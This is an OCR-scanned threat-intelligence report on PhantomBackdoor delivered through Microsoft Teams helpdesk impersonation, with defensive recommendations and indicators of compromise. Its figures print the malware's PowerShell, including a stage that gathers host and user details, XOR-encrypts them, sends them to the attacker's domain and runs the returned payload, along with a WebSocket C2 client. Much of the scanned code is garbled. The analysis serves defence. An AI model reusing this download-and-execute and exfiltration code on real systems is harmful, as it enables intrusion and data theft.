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Executive Summary

Cato CTRL has discovered a vishing-based delivery technique used against an ltaly-based
consumer services company associated with PhantomBackdoor, a multi-stage WebSocket-based
backdoor previously reported in a Ukraine-focused spear phishing operation by SentinelOne. In
SentinelOne’s earlier reporting, initial access relied on phishing lures and a ClickFix-style flow that
triggered a staged PowerShell and ended with a WebSocket backdoor.

In this vishing-driven technique, think of it like a polite “building inspector” who arrives as “on
behalf’ of the landlord to step inside your apartment to check for damp walls. You let him in
because it sounds routine. While he walks through, he quietly leaves an invisible camera so he
can watch when everyone leaves, then he comes back to steal.
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In the incident we investigated, the threat actor used the same simple playbook of trust:
impersonation as helpdesk, a Microsoft Teams invite, and screen sharing that guided the victim
into executing PhantomBackdoor. From there, PowerShell-staged payloads were delivered,
device information was collected, and a WebSocket backdoor was established.
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Technical Overview

What’s Different and How Initial Access Worked

According to our investigation, the victim reported that the engagement occurred through Teams
and began with a meeting invite. Our analysis focuses on the observable technical sequence on
the endpoint and network layer: following the Teams session, PowerShell execution initiated a
staged payload chain that culminated in WebSocket-based command and control. The sequence
we observed was:

e The victim reported a threat actor-initiated interaction conducted via Microsoft Teams.

o A Teams meeting invite was used to establish the session.

e During or shortly after the Teams interaction, the victim’s device executed PowerShell
consistent with staged payloading.

e The execution chain progressed to additional stages, culminating in WebSocket-based
command-and-control (C2).

SentinelOne reported PhantomCaptcha as part of a coordinated spearphishing operation targeting
Ukraine-related non-governmental organizations (NGOs) and government entities, culminating in
a WebSocket RAT hosted on Russian-owned infrastructure. In our case, we observed overlapping
staging and post-execution behavior, but with a different delivery method and targeting that also
included ltaly-based organizations.

Once the malware execution occurred, the following stages were observed, illustrated also in
Figure 1.

Stage 1: PowerShell Retrieval
A malicious request initiated a malicious PowerShell on:

hxxps[://lmaxolutions243[.Jcom/background

2/7


https://www.catonetworks.com/resources/2026-cato-ctrl-threat-report/

v @ moolutions243.com/backgrou. X+

€« > G 2 maxolutions243.com/background

$XiMixsg = (((7643 + $XiMLxsg) + -9) + 3378)
$exXtspflkID = ((((($XiMixsg - -4) - -10449) - $extspflkiD) + $cXtSpflkiD) + $XiMLusg)
SAYZNVACSTg ((((@ + -938) + SAYZNVACSTg) * $cXtSpflkiD) - 8853) * 328)
$gmnLkpsgRc = ((((3XiMLxsg - 28852) + -971801) + SAYZNVACSTG) - $qmnLKpsgRc)
$Fslz¥r = ((((7426 + $cXtSpflkiD) - $qmnlKpsgRc) + $XiMLxsg) - $amnlKpsgRc)
$xxfGdbhNQXg = (($gmnLkpsgRc * 58) - -95)
SESFMGIOAbz = (((($Fsle¥r * SESFMGIOAbz) - SAYZNVACSTE) - $cXtSpflkiD) - SqmnlKpsgRc)
$aXyvuAMnU = (((-378759 + $aXyvuAMnU) - SXiMlxsg) - $XiMLxsg)
$gbUUrGres = (((96 - 189356) * $gbUUrGres) * $XiMLxsg)
SNVDOOX = ((((4141@ * -86878) - SAYZNVACSTg) - $Fslzvr) + -11)
$XgcCnolrR = (((55907 * $NvDoOX) + -81) + 3777)
FYXhyuFTbUS = (((((1@ - $cXtspflkiD) + -1) - 348261) + 3730) + $aXyvuAMnU)
$iIrHTOHpL = ((((31105 + €) * -11119) + $FslzY¥r) + $gbUUrGres)
SVKJYAGh = (((((SNVDOOX * 88) = SVKYAGh) + SESFMGiOAbz) - SqmnlKpsgRc) * -28886)
SNOFoXNSRyM = ((4234 + 491275) + 6@36)
$ieSQywR = ((-9144 - SESFMGiOAbz) - 4968)
$TURnaPHVZ = (((((3XgeCnolrR - $XiMLxsg) + -34684) + -85521) - $gbUUrGres) * $YXhyuFTbUQS)
stmaxes = (((3xnLisg + SamLkpsgRc) - SxgcCnolrd) * SamLKpsgic) + 415237
$5§§rID0ce = (($NVI 4+ -582) + 70)
$2GAKcveCwh = ((sc)(tspflk:ln -8) + 1131)
if ((481192 -le $VKJYAGh) -or ($iIrHTOHpl -le -13
$ghuurGres = (((($MuDoOX + $ieSQuuR) + (((((SNOFOXNSRyM - ((((((-24362 + $NVDOOX) + 715) - $amnlKpsgRc) * $vxhyuFTbuS) + $xiMLxsg))) - ((((-17896 - -66) - $sjjrivocc) + 368)))) - (((((9310 * $EsPMGLOAbz) + $VKjvagh) * $axyvuamnu) * $xgcCnolrR) - 6)))) * (
$NVDoOX) * 1609) + ((($gmnLKpsgRc + -7) + $NOFoXNSRyM)))) * (((($NOFoXNSRyM - $XiMLxsg) - 811127) - @) = -46)))) * ((((35364 + (((($NVDOOX - 3B83) + SUKIVAGh) * $2GAKeveCwh))) + ((($XiMixsg + $Fslzvr) * -8097))) + SgbUUrGres)))

SDUTFnGUBKsk = ((((($XgcCnolrR + 71) - -97) - -19786) * (((-88 + (((((((($AVZNWACSTg * (((-32 - $¥XhyuFTbUQS) - -31884))) * ((((((486694 * -3) - 5) - $TUnnaPHvZ) - -64218) + 26))) + ((((((-5 * $eXtSpflkID) + -6) + -601688) - $xxFGABNQXg) * $ESFMGiOAbZ))) - $i
((((86 + -6) + $AVZNVACSTg) - -852528) + SWKjYAGh)))) * (((((($Fslz¥r * $VKjvAGh) - 689546) - ((((((3XiMlxsg + 4) + $ieSQynR) * 379537) * -83) - 658)))) + ((-53834 - -9) * $ieSQywR}))))) - -9)
$vpGnsQu = 4
while ($vpGnsQu -gt @) {
if ((-9960 -gt -75) -and (-46 -eq $XgcCnolrR) -and ($xxfGABhNQXG -eq 88)) {
$cxtSpflkaD - ((((mnrnxusnw + ((((((14207 + $DWTFnGVBKsk) + 4312) * $aXyvuAlinU) + -62) + 164755))) - $cXtSpflkID)) * (((-98397 + $XgcCnolrR) * 498) + 996))

BvpGnsQu--

N
ScXtSpfIKID = ((((-301 - 414108) * (((((-126 * -1) + 77472) + $Fslz¥r) + (((((450 + -48664) * SqunlKpsgRc)) + ((((369 - -461) - SNNGXPs) * 7371) + SleSQ_va))))))) + ((((SDuTFnGvBKsk * $FslzYr) - SLIPHTOHPL)) = ((((($xxfGbhNOXg - $AYZNVACSTg) * ((($26AKcveCuh
SDNTFGUBKSK))) + (((((($XiMLxsg * 87) - $XiMLxsg) - SVKjYAGh) + -49094) - NWDOOX)))) * (((((5@28 + $2GAKCvcCwh) - $ieSQywR) * -778878) + 91134) - 958)))
if ((-361598 -le $cXtSpflkiD) -and (1 -gt SaXyvuAlinU) -and (1 -eq SNNGKPs)) {

$Fs1zyr = (((((-47 - $VKj¥AGh) + $Fslz¥r) - 46)) * ((((((-67200 - $ESFMGiOAbz) - (((SCXtSpFlkID + -17665) + $IiIrHTOHpL))) + ((((((696368 + -6138) = -51) - 6942) * -4555) * 8))) - SAYZNVACSTg)) + ((SaXywuAMnU + -33) = -27)))

} el
“erstove - ((CC(SMVDOOX - 17) + ((((((-26@ * (((((487476 + 5} + @) - 547) = §2))) + $Xilixsg) + SVKJYAGh) - $gbUUrGrcs) - $LIFHTOHpL))) * $gbUUrGres)) * (((79910 + -864932) * $MVDOOX) - -66))

if ((-864 -gt 3qmnlKpsgRc) -and (SqunlKpsgRc -le -544678) -and (8 -ge $OWTFnGWBKsk)) {
$TUnnaPHvZ = (((((-16 * -1) + 132302) - $gbUUrGres)) - (((-986 * 51852) * (((((($ieSQywR - -87) + SEsFMGiOAbz) + 82539) * $VKjYAGh) + $EsFMGiOAbz))) - 88))

SqnnLkpsgRe = ((-23 * $qmnLKpsgRc) * $Fslzvr)
if (($NvDoOX -le $XgcCnolrR) -or ($VKjYAGh -ne 3) -or ($NOFOXNSRyH -1t -4) -or ($ieSQywR -ge -7265)) {
SNUDOX = (($zGAKeveCwh * (((((({$cXtSpFLkID = -2) - (((SYXhyuFTBUQS + 3333) + -2))) + ((((($xxFGdbhNQXg * $gbUUrGres) = $XgeCnolrR) + SxxfGdbhNQXg) = -99))) - $sjjriDoce)) * ((((5427 - $gbllrGres) + $zGAKcveCwh) - 469) + 8)))) * $Fslzvr)

} else {
SNUDSOX = ((((56312 + SaXyvuAMnU) - -206375)) + (((($aXyvuAbnU - ((((-46985 - -142156) - -328277) + $2GAKcvcCwh))) - STURNaPHVZ) = -6) + (((($ieSQywR + $TUNnaPHvZ) + $xxfGdbhNQXg) - $TURNaPHVZ))))

Figure 1. Obfuscated PowerShell

This stage initiated in-memory, fileless execution and established the retrieval path for follow-on
stages, reducing on-disk artifacts and complicating file-based detection and forensic recovery.

After de-obfuscating the PowerShell, we observed system reconnaissance and collection of:

o Computer name

e Domain information

e Username

» Process identification (PID)

o System universally unique identifier (UUID)

This data was XOR-encrypted and Base64-encoded, then sent to the same command-and-control

(C2) using a hardcoded XOR key:
YUkdzDWUQuuwkbhzJGEOhwHxiha9VCnC

The request to maxsolutions243[.Jcom initiated retrieval of the next-stage payload, as shown in
the script in Figure 2.

) [Sys tem. Text.Encoding| $enc.GetBytes("$key’ if (4method -eq “decrypt") { $string = $enc.GetString([System.Convert]::FromBase64string(§string)) } ; $byteString =
$enc.GetBytes(§stri xordat: $1 -1t sbytestring.length; ) { for (3] $j -1t $xorkey.length; $j++) { $byteStringl$i] -bxor $xorkeyl$j] ; $i++ ; if ($i -ge $byteString.Length) { $j = $xorkey.length } } if (gmethod
—eq "encrypt") { $xor S oBase64String($xorddata) ; $xordData = $xordData -replace '/', '_' } else { $xordData = $enc.GetString($xordData) } ; return $xordbata };
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Net.ServicePointManager] : : SecurityProtocol="Tls, T1s11,T1s12"
try {
iex (xor ((Invoke-WebRequest -Uri ("https://maxolutions243.com/background/" + (xor ("$env:COMPUTERNAME|" + ((Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem).Domain + " |$env:USERNAME |$PID|" +

"'upJWtD21] rigzvIUM3TqKLEyzsGSOITImBZ5C4QFKMYCOhSYOfuiC iFelaomar” + | + (Get-WmiObject ~Class Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID))) “encrypt" “yUkdzDWUQuuwkbhz]GE@hwHxihadVCnC")) -UseBasicParsing -Headers @{"User-Agent"
= "Mozilla/5.@ (Windows NT 10.9; Win6d; x64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/95.4.4476.124 Safari/537.36"}).Content) “decrypt” "yUkdzDWUQuuwkbhz)GE@hwHxiha9VCnC™)

}eatch {
$proxy = [System.Net.GlobalProxySelection]: :GetEmptyWebProxy()
iex (xor ((Invoke-WebRequest -Uri (“"https://maxolutions243.com/background/" + (xor (“$env:COMPUTERNAME|" + ((Get-WmiObject -Namespace root\cimv2 —Class Win32_ComputerSystem).Domain + " |$env:USERNAME |$PID|" +
"upJWtD21] rigzvIUM3IqKLEyzsGSOIT/mBZ5c4QFKMYCORISYOfuiC iFel9gomar™ + | + (Get-WmiObject —Class Win32_ComputerSystemProduct | Select-Object —ExpandProperty UUID))) “encrypt “yUkdzDWUQuuwkbhz]GE@hwHxihadVCnC")) -UseBasicParsing —Proxy $proxy -Headers
@{"User-Agent" = "Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/534.36 (KHTML, Llike Gecko) Chrome/95.4.4476.124 Safari/537.36"}).Content) "decrypt" "yUkdzDWUQuuwkbhzJGE@hwHxihaSVCnC")
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Figure 2. Deobfuscated PowerShell

Stage 2: C2 Initialization and In-Memory Payload Loading
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The next payload was loaded into memory, reducing on-disk artifacts and complicating file-based
detection and forensic recovery. C2 communication began, transitioning the execution chain into
an interactive remote access phase.

The request was made using a long URL path that was XOR-encrypted and Base64-encoded,
likely used for per-victim tracking and staging control:

hxxps[://lmaxsolutions243[.Jcom/background/ as shown in Figure 3 and deobfuscated code in
Figure 4.

v @ maxolutions243combackgrou X +

< 2 C maxolutions243.com/background/
XSYOFgnhIQAJHFVKSBAFCT19ahBcALsL BCCHuezTaGE £ DONGOSAF 1g11VKQOTSBAHhC FEGENSC) \7F SksTER1 FSaNBuwsVUDkt ThACONITKCEKTDGEVGxhQkhaaj ckQgkaaFB jSEEZANNOY1KkOGBATL X
GTuVDAOYVUoCzckcSEIEY ESTQYQFyQEAQMFPKIIEERXYX] JSEEZd jCcO 1K CuDTAGS iahLyF, BafwuBIwE-ARyEETKQEGY(KFmimz:105V(f1dLQkhsamdlFEuSUwgﬁBh](BSV:IL 1g6FQEHCUSqahF: qFgglLg) 1TgkKL
BhIpwafWtlAERXbAoMGxFMDDAI.AQAhthUCDI7NgEdFUtCSquZZUQIAQtFgBSAEoBVleXRV‘HDRSq IwIBFyWCAkNDmQUIF‘WIN]sBBWt VBAVNLU; fl -50D0joQGy PRl
LREBChCRagABOAFdXKLBSCarL ]! ID10/1L0LJDTpLBxXUp hYSRVBH]:inStZLmFE\ulmRidXFV\I)(JLQkhaNﬁ]1EEhXQgV]ngMucAaKhY?Sy:\lK]kagFYIAMA]K\JPL(EESAx(wEquuk!mBuwx 3 2461ETeEj J TmNZAUtETRCUJ AL nYnicUTx8d60960i0L LOBCE
CQNGWINF 3 z;rmﬂ?qnhz R/2D8aAVdPAQCUICIMRAGTY 11HxYDZC: SFpqZ2UQsIcL JCZATFh8112BXThAVOABL ESS 27VkOV2 gKDBATV iMw T4 AUOWUBGTA+09VHARLDACOR JSEEZAmNOV11 JIP3BaFCPTAXTEY
g 1eehxarh: 11HxYDZD<JdTYZHg4MN(BvJRZfcxwtnE:rvalJ1EMDsIT(Exuvl[BhZ:Qz(VBmJZﬂNF(MdHRth]HhPSwaP 4005847 JQUARY FFxsncHeL 1zELb1130QE: ZHBZIGNI1E FUCBCUSZIg0gFZIFIxs GNDAIGRQD!
DynNFU:I[HIQGNCUMH\I(QHNzxmlEEhxafhJSEEdeNDZzoEAgEUMAAwMyYaFAAHHFQGL]ZABWQtUEB)QRlIYﬂ 5FHXVL FIZGC: KAARNJUGELXAWERAET TUGPYe€hgos quZzUQSFd:MElIrDN(YBEJMXVLankdi\lquVbAgcthn:IIFHFCMdHUYlV]gt(yANl
5 3] BllEEh)(aFH A 2NS TaTbF 1EG5aZHd WWBLC!
1gUU! FAamDRYvICRED\IdleJ1QR11Yx41C1QETFAHU]FBWETAhANGTL)nNBlEVZWQHgEFFXZnLSEQMAIJQLSEJB] T TkeAuGGH9a ISEVHT 2 eNg11VKRYZ 11 NVWBOEVOx THUQSFAOHEL TRUO1HQEADR HOxkvl2il 1 (IF4I ECOVDAYVFXC2Gi) p: JArrmcFIA\lNKSWY(lIODhBIHAQR()AD]IBFYURBZH:!‘J(W\Il
HywyF3 VUaHhZFKT41L IXEFVXajeb 2Cpf i 1E5Epo0BInF EQMNhpjRHVPCwBnlyALT1UzARANGT4oNE1ISmhcDQE TXDUIATEAbKs L RTE7Fwdiax12Ye43t
K14bEEOBHQASGHNE S| MRAA:IhﬁBFZoDMCkEmIFAQ(Ekalb\IJ MHSWUES H1zCS0gONGE XN In] BkBXnF CSFpqZ2UQSFEHROYDLc L1 jonH g0CgSkanUfEATaJAACHykzZR 0GDIgd 0zY1NC, UoGEZHMOy U, jv At Dompnzion
OyU1 EBUADQSRL=NFYwdZLDkaEQDafnccIgolBACITQQWNEQGRIOSCE VLiQSERWE: BWSBNUOLTE7BROSEGU,/UKAEKCVOX1LELTQR] i 53dXFUY
TioBLVKHDgCFLSEWF 3hx JRHULAQ1pGDC THIXFGXZ e L HARBE2 Ty MRWQBEQKEQ 1 ad2dnEmIXarhI TALYIT cBhoBBQoF IyMBOBEQVIZCLx+agPRHBICCK] TQRKhKucvHIVDOA2TIB4VS9YUI IManREIHASYM)WSmADcuMAkEFS(SM(‘IngMKF glaZykgEDMkMQsdDQwXGCVaI
I TWKBNZRBIV: SEQUAUQLSE1B J4NHhI fQLVaCS grXgaUPFLIDQNGOSAF ) g11RhC FIVIEWI yAHHICt GGXBAMS BCPQURMEQrDYAZL ROUHDCACkvMi FXUTYbAGCGDNOL) 2MHFCHAHIIBGXZ ] TRNZARZUCGR3AXFYWVdL FhoDa xPEE hXaFh S EEZANNOZwSuGE ENMHAO CVEGYTHBgAd T it
FudQBWCWE] i UcIedEIRCuIIVQGFk/ ChofKyl KHCWRVO1 LaKhY7PwsRITKI T5ZFBANCekL 55XV LRBHMid31: iACZCRKBCTEZ: {541VUhaL Q1IMzIAT TcLL1 chh 58 1 TekaL SwbASd+bOERL
axzj TmBZFABANJYyMJQ:AXIPngbPlZlRAd XIREaGWBENE10Y11150RAZHI1CVVWVOTCTAGY] CBZHRT SNQWDEL yokK1GBGSSLU1 1rgoc(asmr.nrwmamlzm:nfnrunaamwemsmn(hwsumnwwntcsrpqzzuqslcLEA\Acnk/:m.mcwamndzmwwanrEnzaﬂxaxvznvsuhmxz;
ICHKVUSOwsTDr QR12YB5 3HXVLRFp] D Tbimp L h TXDi g 17 A TXGNBDsZDg1 TEHY/ TgAWOXBBCDAR D z4YWDBYDQZuQEDSY
IHSJKnQWBt(SquZZUQSfduNElIQKlZV@E]WXV[RFpkci‘H—GBgHBQZIRZc(FkkbAyWszEQS]tKyﬂaﬂgSNF(HKblsgITFTT(SFP PSROBMAECNDAYFxs JHnsy 1 EEhXaFhISEEZARNOY11156RaZHd1e
SVAZO0BSN SORaZHA1CVWWVOCSFpaZ 2UQSFd al-lElIQR12vB5jxrmeEAmcI!vsW:yGIIAHCHBnYuDKthVSUhBGXZ] TN ZAUEELIR3dXPVWL Qkhaame A0n3XaFhoSEE Z4mNOY1 1150RZHd 1cWWVOCSFpq Yy 1HARNGRUKVBELZ!
UTHBWE SWUBHT c Vc4BwQFKTNcrfwudlRsdSExEL]MPLNOFGQsI{ISUhKFH JET4 T 1 pgZ2UQSF doWE 1 TOR12YBS JWXVLRFpkd 3V TGQCbDy Y2Z01T €3 jU2Hdoh40C IE 3| 10U FYDEMHEX ITSqemUUAAARHFITMXAS YN XOUATEF KHhESVURXTwgbF SOK:
HAYJATSYPUQEDG Y11150RaZHALCVVVIAMDFCYL] HygUK LMDE jXYTSSNUDH Qkhaamd1EEhXaFh 1CVWVVBLCSFpqZ2UQS FAoKEL yYECjChICYWERBZGXEAU208TXBIV: JTRNZAUTEWmR3e
SDpqLzAaThR7PHEC] U6CBSED210G]! 11156RazZHd1 CVWWWRCSFpg FxHDYECE ITTHRPTOKIQ4IKS' QjsFai xUZs
TTSATWUGSF dGHELTOR1ZY5 JHXVLRFpkd3V XYWXS@IICDS pNKATFCLYVEGBS TkOCZ EKPQATFh LEbXIHEGY 50! ETZAVhVDsUUhEZHEde DYAMAKGCAE+T TsthBEkJMKNqudmxctrhmkvcslgrqu FCS3sgh0j gwCUm I VALUCHEOXC, IDNLPARATRKAR  BANGLCIANADOODHIPRWQGRE1DRGZ!
TF4u)Do/OBAEGAMPH2QUIVNEFUIYSURBGXZ  TRNZAULEWNRIdXFUWVAL Qkhaamd]FBoC)gsZCQIceAE L JBAT SFpqZ. 1QRL i o JSEEZdmNOV11 doWE1TQRI YOS JWXVLRAGO:
‘SURBGNYRCzACTUsIHZCkNDYQF1dLQkhaamd 1 EEhXaF hISEEZdmNOZuswCAE M IXHBAGBAOFDVP3Z2¢ 5Y1dobiE 1 TQR12YBS JUXVL a i LAYIanw 1 Qkhaamd1okhxaFh Y111Fm4HT112¢ IKst Jthaxugo \7FSksTERTH]SAGKAE!

DgETIDMSVQok IxSCORUZEGACKhu7HZHF 1gQ6IhAQA2 FoS 10ZMyRCHF c HROBAFAZYxumG JACE hMGHHU 3ABSUHWSHF EAVT FMNH 4dRCUES 1 USCSYKXyi==

Figure 3. Obfuscated next stage

$serverUri = "wss://maxolutions243.com: 88"
$ClientWebSocket = New-Object System.Net.WebSockets.ClientWebSocket

function Send-Result {
param (
[stringl$result,
[System.Net.WebSockets.ClientWebSocket] $ClientWebSocket

try {
$responseBytes [System.Text.Encoding] : :UTF8.GetBytes($result)
$responseSegment = New-Object -TypeName System.ArraySegment[byte] —-ArgumentList $responseBytes, @, $responseBytes.lLength
$sendTask = $ClientWebSocket.SendAsync($responseSegment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None)

$sendTask.Wait()

} catch {
}
]

function Connect-WebSocket {
param {
[Uril$serverUri,
[System.Net.WebSockets.ClientWebSocket] $ClientWebSocket

Figure 4. Deobfuscated code

The final stage established a WebSocket session to the threat actor-controlled endpoint, enabling
interactive C2
ws.//maxsolutions243[.Jcom:80

The full cyber Kill chain for this incident is illustrated in Figure 5.
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Figure 5. Cyber kill chain for the observed incident

Conclusion

This incident shows how helpdesk impersonation delivered through a Microsoft Teams meeting
can replace traditional phishing and still lead to the same outcome: staged PowerShell execution
followed by a WebSocket backdoor. Defenders should treat collaboration tools as first-class attack
surfaces by enforcing helpdesk verification workflows, tightening external Teams and screen-
sharing controls, and hardening PowerShell.

In the case we investigated, Cato MDR flagged the lateral movement and follow-on stages, and
Cato XOps correlated the activity into a Story, while Cato IPS can help contain future attempts by
blocking known-bad infrastructure and disrupting WebSocket-based C2.

Protections

In this incident, Cato MDR identified lateral movement and follow-on stage activity as suspicious
after the initial infection. Cato IPS and network security controls can help contain this activity by
enforcing policy at the edge, blocking known-bad infrastructure, and disrupting staging and C2
behavior, including suspicious WebSocket communications. Figure 6 shows the Cato XOps Story
view, which highlights the lateral movement and follow-on stages.
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Figure 6. Cato XOps Story view highlighting lateral movement and follow-on stages

To reduce the likelihood and impact of this vishing technique, we recommend the following
protections across people, collaboration tools, and endpoint controls:

Stop helpdesk impersonation before it becomes “interactive compromise”
o Enforce ticket validation plus call-back procedures for any helpdesk request.
o Train users: no commands, no installs, no “quick fixes” during unsolicited calls. Always
verify through official channels.

Reduce Microsoft Teams abuse as an initial access path
o Restrict external Teams access to approved tenants and trusted domains.
o Limit screen sharing for external participants and disable remote control unless
required.
o Alert on the high-risk sequence: Teams session — PowerShell execution — outbound
download.

Constrain PowerShell and in-memory execution
o Increase visibility into PowerShell activity and ensure it is centrally monitored.
o Detect and prevent common “download and execute” behavior, including obfuscation
and suspicious outbound connections.
o Limit PowerShell capabilities for standard users using least-privilege controls and
application enforcement policies.

Indicators of Compromise (loCs)

Domains

e maxsolutions243[.Jcom
e halungroup[.Jcom

IP addresses

e 104[]J238[J133[.]25
o 162[]J252[J172[.]74
o 104[]238[]133[.]25

SHA256 HAshes
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o 1497ad4cd9b3f009904896464b090ad2ff4c932f2bb57752bb19b53b2ec65eal
e b0c07b265¢9d9046038ffa48d5b8e17b8ba0791503beba85196cdbelac2fcb27
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